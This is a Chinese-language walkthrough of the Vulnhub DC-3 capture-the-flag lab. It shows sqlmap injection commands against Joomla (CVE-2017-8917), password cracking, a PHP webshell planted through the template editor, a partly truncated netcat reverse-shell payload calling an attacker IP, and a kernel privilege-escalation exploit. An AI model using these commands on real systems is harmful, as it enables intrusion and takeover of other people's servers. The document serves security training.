Vulnhub系列_DC-3

Vulnhub系列_DC-3
DC系列下载地址:https://download.vulnhub.com/dc/或http://www.five86.com/downloads.html

工具和漏洞:
Netdiscover:进行网络发现
Nmap:端口扫描
Whatweb: 识别靶机网址使用的web服务、系统版本、CMS系统等
Joomscan: 扫描Joomla相关配置内容、检测已知漏洞等
Searchsploit:查找漏洞
Sqlmap:SQL注入工具
John:破解找到的hash密码
蚁剑:菜刀连接一句话木马
Netcat:反弹shell连接。做完后发现可以使用&1|nc 192.168.56.1 1337 >/tmp/f’); ?>进行反弹shell。
Joomla!漏洞:CVE-2017-8917,SQL注入漏洞 http://localhost:8080/joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]
Ubuntu提权漏洞:CVE-2017-16995,本地提权漏洞

流程:
发现目标IP
网络扫描(Nmap的)
使用HTTP服务端口
通过searchsploit搜索漏洞
使用SQLMAP转储数据库中的信息
使用john破解密码
登录到JOOMLA后台管理
注入恶意PHP反向shell代码
使用Netcat的获取反向连接
利用内核漏洞
获得root访问权限
阅读最终flag

信息收集
检测主机存活 netdiscover -i eth0
发现目标主机ip地址为192.168.157.129。
Vulnhub系列_DC-3_第1张图片
然后扫描目标主机端口
Vulnhub系列_DC-3_第2张图片
只开放了80端口。服务器似乎运行的Apache和Joomla!OS为linux和系统版本号。
打开浏览器打开目标靶机的ip地址网页
Vulnhub系列_DC-3_第3张图片
只有一个flag,和一个注入点,观察系统和在root。还有登录界面。那么应该有后台网页存在。百度一波,服务器运行的jomla!发现可以利用jomla漏洞。继续收集信息,使用whatweb
Vulnhub系列_DC-3_第4张图片

所以在这里我们发现了两个有用的东西。我们发现版本号(3.7.0)和管理员的登录页面。稍后我们会回来的管理页面。
Vulnhub系列_DC-3_第5张图片
查找joomla漏洞
在这里插入图片描述
查看漏洞信息
Vulnhub系列_DC-3_第6张图片Sql注入语句漏洞,CVE-2017-8917.CVE-2017-8917是2017年5月17日左右的.和我学到的分析出的来的结果类似。在msfconsole发现有相同的。使用msfconsole进行漏洞利用但失败了。
没有找到admin或user

渗透
那只能从sql注入入手了
如果想尝试手工注入可以参考这份
https://www.jianshu.com/p/76451380b129

利用那句sql语句进行sqlmap
sqlmap -u “http://192.168.157.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
发现有joomladb数据库。
在这里插入图片描述
Vulnhub系列_DC-3_第7张图片Vulnhub系列_DC-3_第8张图片Vulnhub系列_DC-3_第9张图片sqlmap -u “http://192.168.157.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --level=5 --random-agent -D “joomladb” --tables -p list[fullordering]
Vulnhub系列_DC-3_第10张图片
sqlmap -u “http://192.168.157.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --level=5 --random-agent -D “joomladb” -T “#__users” --columns -p list[fullordering]
Vulnhub系列_DC-3_第11张图片
在这里插入图片描述
Vulnhub系列_DC-3_第12张图片
利用john破解hash密码
破解出snoopy。
Vulnhub系列_DC-3_第13张图片
测试下,打开之前信息收集到的后台登录地址。输入账号和密码。
现在,我们需要找到一个地方,我们可以上传代码或编写代码的Joomla具有包含PHP代码模板。
成功。找了很久没发现提示。却发现了一个服务器文件管理。
Vulnhub系列_DC-3_第14张图片提权
那么写一个一句话木马试下。
Vulnhub系列_DC-3_第15张图片
Vulnhub系列_DC-3_第16张图片
打开文件激活。然后使用蚁剑来进行测试连接,成功就连接进去
Vulnhub系列_DC-3_第17张图片
哎,那就试下nc连上去吧,因为只有80端口开着。
反向链接。(因为正向链接需要知道地址和目标服务器的防火墙关闭连个要求,所以不采用)
Vulnhub系列_DC-3_第18张图片
接下来的事情是一些PHP代码。使用命令webshell的定位我们的kali给我们提出了一大堆的选项。反弹shellphp代码 或者 https://m.jb51.net/article/17844.htm 百度有个更简短

&1|nc ip地址 端口号 >/tmp/f');?>

能成功就是好的。
在这里插入图片描述
执行后,我们得到了目标系统的外壳。如果可以为了获得合适的外壳,我们使用了python单一代码生成TTY外壳。这里可以采用python -c ‘import pty; pty.spawn("/bin/bash")’
用Python伪造一个终端,使用pty的spawn方法调用”/bin/bash”获取一个正常的tty,否则有些命令可能无法执行。Python pty模块的spawn 是通过 fork 方式实现,然后子进程执行具体的命令,然后父进程去获取终端的输出,强调获取数据。/bin/bash我自己感觉就像window的cmd。
要培养好习惯。我没有进行。
权限还是不够
在这里插入图片描述
前两次实验的提权方法被禁用
那么只能找Ubuntu的提权漏洞了 ‘double-fdput()’ bpf(BPF_PROG_LOAD)
Vulnhub系列_DC-3_第19张图片
找到并打开
在这里插入图片描述
在nc的界面下,下载这个漏洞并解压,运行。
Vulnhub系列_DC-3_第20张图片
Vulnhub系列_DC-3_第21张图片
Vulnhub系列_DC-3_第22张图片
然后打开root目录,flag就在这个目录下
Vulnhub系列_DC-3_第23张图片

你可能感兴趣的:(Vulnhub系列_DC-3)